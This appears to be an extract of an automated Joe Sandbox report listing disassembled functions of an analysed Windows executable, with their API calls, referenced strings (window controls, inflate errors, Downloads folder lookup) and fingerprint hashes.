Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocHeapwcslen
String ID:
API String ID: 746647629-0
Opcode ID: 81789514eeed516ebf87f83d925e2a503bc1185eff46d0294f6b5050b1c1ed04
Instruction ID: 39c3555cb5e633ae9f9a5314a67da5fdcb628df671bb12a0019ba56a0bb7f9c1
Opcode Fuzzy Hash: 81789514eeed516ebf87f83d925e2a503bc1185eff46d0294f6b5050b1c1ed04
Instruction Fuzzy Hash: 3DF0E276608A8082D621DB1AE44134AA7B1F3C9BC4F104125EBCC83B69CF3EC9518A00

Function 000000014000DDC0 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000DDED

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction ID: 85eb21683fd68773ec3f68e7974a7ba45b0d300be2a951898864618d3eded784
Opcode Fuzzy Hash: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction Fuzzy Hash: D4F030B6624694CBCB10DF39E00166977B0F349B48F200416EF4847764DB36C992CF10

Function 0000000140010FFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32 ref: 0000000140011019

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction ID: 3be53cbf4efc602c07d04e61f546686734bccd281855bf9d316eb8d3f4bb89d6
Opcode Fuzzy Hash: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction Fuzzy Hash: E3D0E97091558096F66BA747EC857E422A2B7AC3C5F500419E3050B1B28ABE49DDEA15

Function 000000014000DC88 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 000000014000DC91

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction ID: d26b75307fbf4d2f65b3bf59e092d1c76b80437de534da0d48005b48f8adbafa
Opcode Fuzzy Hash: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction Fuzzy Hash: 74C09B74663002C1FA6A936328A97E451905B0C391F504511F7064117089BD14975530

Function 000000014000C980 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014000C98E

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction ID: 2c080862c33f0b7fb519294060e944d109da0d65108c87cfa11e07f441f421b0
Opcode Fuzzy Hash: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction Fuzzy Hash: 40C02B34712690C2E3492323AC033991090F34C3C0FD02018F60102770CE3D80A70B00

Function 000000014000C6B0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C6C0

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: ExceptionHandlerRemoveVectored
String ID:
API String ID: 1340492425-0
Opcode ID: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction ID: 43e8ab96d0ef540813763e0684213002212cef3b8ee59004a75f8fb70944dace
Opcode Fuzzy Hash: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction Fuzzy Hash: 30C08C78B03B0085FA4AEB03B8883A422606B8C7C1F800008E60E037328E3C04A54780

Non-executed Functions

Function 000000014000B758 Relevance: 72.0, APIs: 35, Strings: 6, Instructions: 272windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000B5D8: wcslen.MSVCRT ref: 000000014000B5EA
Part of subcall function 000000014000B5D8: HeapAlloc.KERNEL32 ref: 000000014000B600

GetStockObject.GDI32 ref: 000000014000B7B6
LoadIconW.USER32 ref: 000000014000B7F2
LoadCursorW.USER32 ref: 000000014000B803
RegisterClassExW.USER32 ref: 000000014000B82D
IsWindowEnabled.USER32 ref: 000000014000B859
EnableWindow.USER32 ref: 000000014000B86C
GetSystemMetrics.USER32 ref: 000000014000B88B
GetSystemMetrics.USER32 ref: 000000014000B89B
CreateWindowExW.USER32 ref: 000000014000B8F0
SetWindowLongPtrW.USER32 ref: 000000014000B90E
CreateWindowExW.USER32 ref: 000000014000B95E
SendMessageW.USER32 ref: 000000014000B97C
CreateWindowExW.USER32 ref: 000000014000B9D9
SendMessageW.USER32 ref: 000000014000B9FA
SetFocus.USER32 ref: 000000014000BA07
SendMessageW.USER32 ref: 000000014000BA22
wcslen.MSVCRT ref: 000000014000BA2B
wcslen.MSVCRT ref: 000000014000BA36
SendMessageW.USER32 ref: 000000014000BA4D
CreateWindowExW.USER32 ref: 000000014000BAA9
SendMessageW.USER32 ref: 000000014000BAC8
CreateAcceleratorTableW.USER32 ref: 000000014000BAED
SetForegroundWindow.USER32 ref: 000000014000BAF9
BringWindowToTop.USER32 ref: 000000014000BB02
GetMessageW.USER32 ref: 000000014000BB16
TranslateAcceleratorW.USER32 ref: 000000014000BB2A
TranslateMessage.USER32 ref: 000000014000BB38
DispatchMessageW.USER32 ref: 000000014000BB42
DestroyAcceleratorTable.USER32 ref: 000000014000BB59
wcslen.MSVCRT ref: 000000014000BB68
wcscpy.MSVCRT ref: 000000014000BB7E
HeapFree.KERNEL32 ref: 000000014000BB90
HeapFree.KERNEL32 ref: 000000014000BBB5
HeapFree.KERNEL32 ref: 000000014000BBCC
HeapFree.KERNEL32 ref: 000000014000BBE3

Strings

STATIC, xrefs: 000000014000B944
P, xrefs: 000000014000BA7B
EDIT, xrefs: 000000014000B9BF
C, xrefs: 000000014000BA99
BUTTON, xrefs: 000000014000BA8A
n, xrefs: 000000014000BAA1

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Window$Message$CreateHeapSend$Freewcslen$Accelerator$LoadMetricsSystemTableTranslate$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundIconLongObjectRegisterStockwcscpy
String ID: BUTTON$C$EDIT$P$STATIC$n
API String ID: 9748049-1690119102
Opcode ID: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction ID: f11a45e4f50ece19de517c67b98e9e797584e7b20c87343cc1d5b6865565d8d0
Opcode Fuzzy Hash: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction Fuzzy Hash: 4DD134B5605B4086EB12DF62F8447AA77A5FB8CBC8F444129EB4A47B79DF7DC4098B00

Function 0000000140013798 Relevance: 12.0, Strings: 9, Instructions: 740COMMON

Download Yara Rule

Strings

invalid code -- missing end-of-block, xrefs: 0000000140013B5B
invalid literal/length code, xrefs: 0000000140013E85
invalid distance code, xrefs: 000000014001406D
invalid distance too far back, xrefs: 0000000140014126
invalid bit length repeat, xrefs: 0000000140013B73
invalid literal/lengths set, xrefs: 0000000140013BDF
too many length or distance symbols, xrefs: 000000014001391D
invalid code lengths set, xrefs: 0000000140013905
invalid distances set, xrefs: 0000000140013C4B

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 67ed6bfcabc3f0c0ebd438a55ac1e776d09ba86ed25bc9a2d2f07d297f59d07e
Instruction ID: 94762fe19e52a1e76ee8dc23a2b1d827446cec64643fb03410c83a9544901dbd
Opcode Fuzzy Hash: 67ed6bfcabc3f0c0ebd438a55ac1e776d09ba86ed25bc9a2d2f07d297f59d07e
Instruction Fuzzy Hash: 9452D2726106608BE72ACF26D49CBED37E5F3487C4F414129EB868B7A4E77AC845CB50

Function 0000000140013021 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 381COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 000000014001305E
header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
unknown compression method, xrefs: 0000000140012F79

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown compression method$unknown header flags set
API String ID: 0-4074041902
Opcode ID: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction ID: dac418b812a3de41c7c7b5072b67fa498c356b49e4a588b682982c80ed946ec6
Opcode Fuzzy Hash: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction Fuzzy Hash: 4DF19C726007508BEB268F1AC48CBAE3BE6F7487C8F064519EF8A4B7A4DB76C555C740

Function 0000000140015F30 Relevance: 4.1, Strings: 3, Instructions: 374COMMON

Download Yara Rule

Strings

invalid literal/length code, xrefs: 0000000140016360
invalid distance code, xrefs: 0000000140016375
invalid distance too far back, xrefs: 0000000140016392

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID: invalid distance code$invalid distance too far back$invalid literal/length code
API String ID: 0-3255898291
Opcode ID: 1e45c625052aaed0026cb6e9d9d155a9553cb1c11e4068b20b0b3ed65267e05e
Instruction ID: 36a5a67a6b198623208e03fcdf44eed6b32d9d42851390dc4c2f02830f1e2460
Opcode Fuzzy Hash: 1e45c625052aaed0026cb6e9d9d155a9553cb1c11e4068b20b0b3ed65267e05e
Instruction Fuzzy Hash: 17D11733618AD08BD71A8F7AD8443AD7BA1F3597C1F048116FB968B7D1DA3ACA49C700

Function 0000000140012E97 Relevance: 4.0, Strings: 3, Instructions: 212COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 0000000140012FF1
unknown compression method, xrefs: 0000000140012F79
incorrect header check, xrefs: 0000000140013009

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size$unknown compression method
API String ID: 0-1186847913
Opcode ID: 52ed7635aeae8ff526247262ac50360336e7a020413c2717a67c94432d795328
Instruction ID: 2adac2097dd96be31fc3b588942c2867655d7ffa7f23b7c0480b06af30ac11af
Opcode Fuzzy Hash: 52ed7635aeae8ff526247262ac50360336e7a020413c2717a67c94432d795328
Instruction Fuzzy Hash: 35917F726042008BFB6ACF26D58879D3BE5F3083D4F154129EB598BBB0D73AD9A1CB40

Function 0000000140013507 Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

invalid block type, xrefs: 0000000140013628
, xrefs: 0000000140013507
, xrefs: 000000014001352B

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID: $ $invalid block type
API String ID: 0-2056396358
Opcode ID: 6a1db03687435ebb1430cf625d2d53183cb1bdca78445c29a8775c11b27300e0
Instruction ID: a7252faa3c80580baed472012d71d0b62e6cbeab3839f0b874d886ed0dadd07f
Opcode Fuzzy Hash: 6a1db03687435ebb1430cf625d2d53183cb1bdca78445c29a8775c11b27300e0
Instruction Fuzzy Hash: 6F6190B3610B508BE726CF26D9883AD37A0F3193D4F554125EB568BBE0D77AD590CB40

Function 000000014000EA48 Relevance: 2.8, APIs: 1, Instructions: 1540COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014000EA7A

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: b2a6db502280213d3f7fe6332d1fff197779c33e7365e9d34c0e6334cca0ff18
Instruction ID: c8f745e53e58f4d3ff63e30af0f782c513ee99f48fb140b821e661274e727f8d
Opcode Fuzzy Hash: b2a6db502280213d3f7fe6332d1fff197779c33e7365e9d34c0e6334cca0ff18
Instruction Fuzzy Hash: 1DC291B3A282408BD368CF69E85665BB7A1F7D8748F45A029FB87D3B44D63CD9018F44

Function 0000000140010210 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a696735792be4af076da833e5dcb064fa3499b6e6f110371e014232abd0523
Instruction ID: 022ba38ea2fc746ee1b0595bfd7f682d53a7df84c20089d95d53e5e85305b389
Opcode Fuzzy Hash: 28a696735792be4af076da833e5dcb064fa3499b6e6f110371e014232abd0523
Instruction Fuzzy Hash: E32283B7F744204BD71DCB69EC52FE836A2B75434C709A02CAA17D3F44EA3DEA158A44

Function 0000000140014E90 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf726ec6ae42089ceab56936488a5fdcc83c03c51bcf0dd9a340e541980c14d4
Instruction ID: 127c8a3eefbec1cf179e73712b468f180dd3e669bf73dd13b43b77d2e925ff5f
Opcode Fuzzy Hash: cf726ec6ae42089ceab56936488a5fdcc83c03c51bcf0dd9a340e541980c14d4
Instruction Fuzzy Hash: F8818E733301749BE7668A2EA514BE93690F3693CEFC16114FB8487B85CA3DB921CB40

Function 0000000140014E80 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5c31c79345c80cbc84505c9318a96aa45c2c473e25a63ddceb6769520a1643
Instruction ID: 09e49e300f3b48ce8064fe567ba8ae1e18cb52cb4f612ff9abff1437f032a71a
Opcode Fuzzy Hash: 5c5c31c79345c80cbc84505c9318a96aa45c2c473e25a63ddceb6769520a1643
Instruction Fuzzy Hash: D5712BB33301749BEB658B1E9514BA93390F36A389FC16105FB855BB85CA3EB921CB50

Function 0000000140015220 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0114d8148b93b9f8dfc86a188f1120884a474c0a348be332542b91698de2cadc
Instruction ID: 87c4626dc5aae324383e141a43b2e00566bb5f4a4c096efdb9aa1e36bd959186
Opcode Fuzzy Hash: 0114d8148b93b9f8dfc86a188f1120884a474c0a348be332542b91698de2cadc
Instruction Fuzzy Hash: CB41843721064087FBAA9B1AA010BEE7790E79A7C5F949115DB829FAE0CA7BD5058B00

Function 000000014000BC94 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 115libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000BCDB
memset.MSVCRT ref: 000000014000BCEC
LoadLibraryW.KERNEL32 ref: 000000014000BCFB
GetProcAddress.KERNEL32 ref: 000000014000BD1C
GetProcAddress.KERNEL32 ref: 000000014000BD2F
wcsncpy.MSVCRT ref: 000000014000BD53
wcslen.MSVCRT ref: 000000014000BD66
CoTaskMemFree.OLE32 ref: 000000014000BDF2
wcslen.MSVCRT ref: 000000014000BDFB
FreeLibrary.KERNEL32 ref: 000000014000BE18

Strings

SHELL32.DLL, xrefs: 000000014000BCF1
P, xrefs: 000000014000BD9C
SHBrowseForFolderW, xrefs: 000000014000BD12
SHGetPathFromIDListW, xrefs: 000000014000BD22

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskmemsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 217932011-4219398408
Opcode ID: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction ID: 4189c401249be1c18680961fdd5f00b64fd9ff4c66db3fab09ee0cba437a9a89
Opcode Fuzzy Hash: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction Fuzzy Hash: 6C418F72211B4086EB16EF12F8447EA73A4F78CBC8F544125EB49477A5DF39C55AC700

Function 000000014000DB18 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 107libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

LoadLibraryW.KERNEL32 ref: 000000014000DB51
GetProcAddress.KERNEL32 ref: 000000014000DB69
wcscpy.MSVCRT ref: 000000014000DB9A
wcscat.MSVCRT ref: 000000014000DBA9
wcslen.MSVCRT ref: 000000014000DBB1
CoTaskMemFree.OLE32 ref: 000000014000DBBE
FreeLibrary.KERNEL32 ref: 000000014000DBC7
wcscat.MSVCRT ref: 000000014000DBEC
wcslen.MSVCRT ref: 000000014000DBF4

Strings

Downloads\, xrefs: 000000014000DBE2
Shell32.DLL, xrefs: 000000014000DB4A
SHGetKnownFolderPath, xrefs: 000000014000DB5F

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1740785346-287042676
Opcode ID: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction ID: 39544a34e48b1591535f5ec23c8084432afafb0fbbbedabb5ee694640fe7ccea
Opcode Fuzzy Hash: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction Fuzzy Hash: A94184B1214A46C2FA26EB57B4A4BF97291AB8C7D0F540127BB0A0B7F5DEB9C841C610

Function 0000000140016CC4 Relevance: 19.6, APIs: 13, Instructions: 81memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140016CF2
InitializeCriticalSection.KERNEL32 ref: 0000000140016D01
TlsGetValue.KERNEL32 ref: 0000000140016D17
HeapAlloc.KERNEL32 ref: 0000000140016D37
EnterCriticalSection.KERNEL32 ref: 0000000140016D4C
LeaveCriticalSection.KERNEL32 ref: 0000000140016D6F
GetCurrentProcess.KERNEL32 ref: 0000000140016D75
GetCurrentThread.KERNEL32 ref: 0000000140016D7E
GetCurrentProcess.KERNEL32 ref: 0000000140016D87
DuplicateHandle.KERNEL32 ref: 0000000140016DAC
RegisterWaitForSingleObject.KERNEL32 ref: 0000000140016DD1
TlsSetValue.KERNEL32 ref: 0000000140016DE0
HeapAlloc.KERNEL32 ref: 0000000140016DF3

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

